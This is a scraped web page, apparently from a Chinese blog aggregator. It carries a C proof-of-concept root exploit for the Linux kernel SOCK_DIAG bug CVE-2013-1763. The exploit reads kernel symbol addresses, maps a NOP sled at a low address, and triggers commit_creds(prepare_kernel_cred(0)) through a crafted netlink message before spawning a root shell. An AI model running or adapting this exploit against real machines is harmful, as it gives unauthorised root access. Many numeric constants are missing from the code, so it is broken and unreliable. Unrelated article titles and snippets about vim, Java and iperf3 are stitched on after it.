quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/ #include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h> typedef int __attribute__((regparm())) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm())) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table; int __attribute__((regparm()))
kernel_code()
{
commit_creds(prepare_kernel_cred());
return -;
} int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
} unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[];
int ret = ; f = fopen("/proc/kallsyms", "r");
if (!f) {
return ;
} while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == ) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f); return ;
} int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[]; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < ){
printf("Can't create sock diag socket\n");
return -;
} memset(&req, , sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = ; //req.r.sdiag_family = 89;
req.r.udiag_states = -;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; if(argc==){
printf("Run: %s Fedora|Ubuntu\n",argv[]);
return ;
}
else if(strcmp(argv[],"Fedora")==){
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table"); if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!\n");
exit();
} family = (nl_table - sock_diag_handlers) / ;
printf("family=%d\n",family);
req.r.sdiag_family = family; if(family>){
printf("nl_table is too far!\n");
exit();
}
}
else if(strcmp(argv[],"Ubuntu")==){
commit_creds = (_commit_creds) 0xc106bc60;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
req.r.sdiag_family = ;
} unsigned long mmap_start, mmap_size;
mmap_start = 0x10000;
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -, ) == MAP_FAILED) {
printf("mmap fault\n");
exit();
}
memset((void*)mmap_start, 0x90, mmap_size); char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[]; //把\x11\x11\x11\x11改成kernel_code
// commit_creds(prepare_kernel_cred(0));
*asd = (unsigned long)kernel_code; memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); //在end of mmap space塞入char jump[] if ( send(fd, &req, sizeof(req), ) < ) {
printf("bad send\n");
close(fd);
return -;
} printf("uid=%d, euid=%d\n",getuid(), geteuid() ); if(!getuid())
system("/bin/sh"); }
quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8的更多相关文章
- 8.3.2018 1 Quick and dirty 快而脏的快餐
Quick and dirty 快而脏的快餐 BEIJING 北京 Food delivery is a booming business. Waste is piling up, too 送餐 ...
- Extjs4.x TreeGrid Dirty 更新数据,dirty标记不会自动清除的bug
如上图所示,当修改某个属性值,成功提交后,dirty的小三角不会自动清除,这个是官方treegrid的一个bug,目前尚未解决. bug:http://www.sencha.com/forum/sho ...
- 一则利用内核漏洞获取root权限的案例【转】
转自:https://blog.csdn.net/u014089131/article/details/73933649 目录(?)[-] 漏洞描述 漏洞的影响范围 漏洞曝光时间 漏洞产生的原因 漏洞 ...
- OpenSSL重大漏洞-Heartbleed之漏洞利用脚本POC讲解
OpenSSL Security Advisory [07 Apr 2014] ======================================== TLS heartbeat read ...
- SharePoint 2013 对话框
The quick way to open a sharepoint 2013 dialog modal form is via Javascript below 1 2 3 4 5 function ...
- 快速重启 Quick Boot plus
Quick Boot(快速启动)可方便快速地重启/关闭您的设备,或将您的设备重启到恢复/引导模式,增强版还实现了热启动和Tasker/Locale插件集成功能.快速重启汉化版 Quick Boot p ...
- Golang优秀开源项目汇总, 10大流行Go语言开源项目, golang 开源项目全集(golang/go/wiki/Projects), GitHub上优秀的Go开源项目
Golang优秀开源项目汇总(持续更新...)我把这个汇总放在github上了, 后面更新也会在github上更新. https://github.com/hackstoic/golang-open- ...
- WEB APPLICATION PENETRATION TESTING NOTES
此文转载 XXE VALID USE CASE This is a nonmalicious example of how external entities are used: <?xml v ...
- MSI Error 1603 installing AppFabric 1.1 / Win7 x64
MSI Error 1603 installing AppFabric 1.1 / Win7 x64 Archived Forums A-B > AppFabric Caching 先说解 ...
随机推荐
- $vim$配置以及$linux$
vim的配置 1 set nu "设置行标号 2 set tabstop=4 "这一条以及以下三条都把缩进设为4 3 set shiftwidth=4 4 set softtabs ...
- [Java 教程 00] 计算机基础
前言 我想,来到这的朋友肯定是想学习JAVA或者想要进入IT这个行业的.考虑到大家的基础可能不一样,有些人可能还是用着新买的电脑,为了让大家在后续的学习中更加顺畅.在学习一门全新的计算机语言之前,我需 ...
- 使用api获取数据————小程序
使用api获取数据----小程序 onLoad: function (options) { //打开页面即执行. let that = this; wx.request({ //建立链接 url: ' ...
- linux 命令 - ls(列出目录内容)
ls - 列出目录内容 语法: ls (选项) (参数) 选项: -a:显示所有档案及目录(ls内定将档案名或目录名称为“.”的视为影藏,不会列出): -A:显示除影藏文件“.”和“..”以外的所有文 ...
- js使用childnodes获取子节点时多了text节点
当我们获取标签的节点时如果使用childnodes发现它会把空格和回车都算着节点,明明里面才有3个节点,结果显示5个,而且childnodes[0]="text" 在IE浏览器中没 ...
- SessionFactory是线程安全的吗?Session是线程安全的吗?两个线程能共享一个Session吗?
(1)SessionFactory对应Hibernate的一个数据存储的概念,它是线程安全的,可以被多个线程并发访问.SessionFactory一般只会在启动的时候构建.对于应用程序,最好将Sess ...
- centos7 iperf3安装
iperf3快速安装 wget -O /usr/lib/libiperf.so.0 https://iperf.fr/download/ubuntu/libiperf.so.0_3.1.3 wget ...
- easyUi-datagrid 真分页 + 工具栏添加控件
1. 新建Pager.js /** * * @param {any} el 元素 */ function showDataGrid1(el) { $(el).datagrid({ title: '分 ...
- python--内置函数、匿名函数、递归调用
匿名函数 有名函数: def func1(x): print(func1) 结果: <function func1 at 0x00000000005C3E18> 匿名函数: func2=l ...
- jquery实现回车键登录/搜索等确认功能
button按钮提交方式: $('#search').click(function() { get_table(); }); //keyCode=13是回车键,设置回车键提交 $("body ...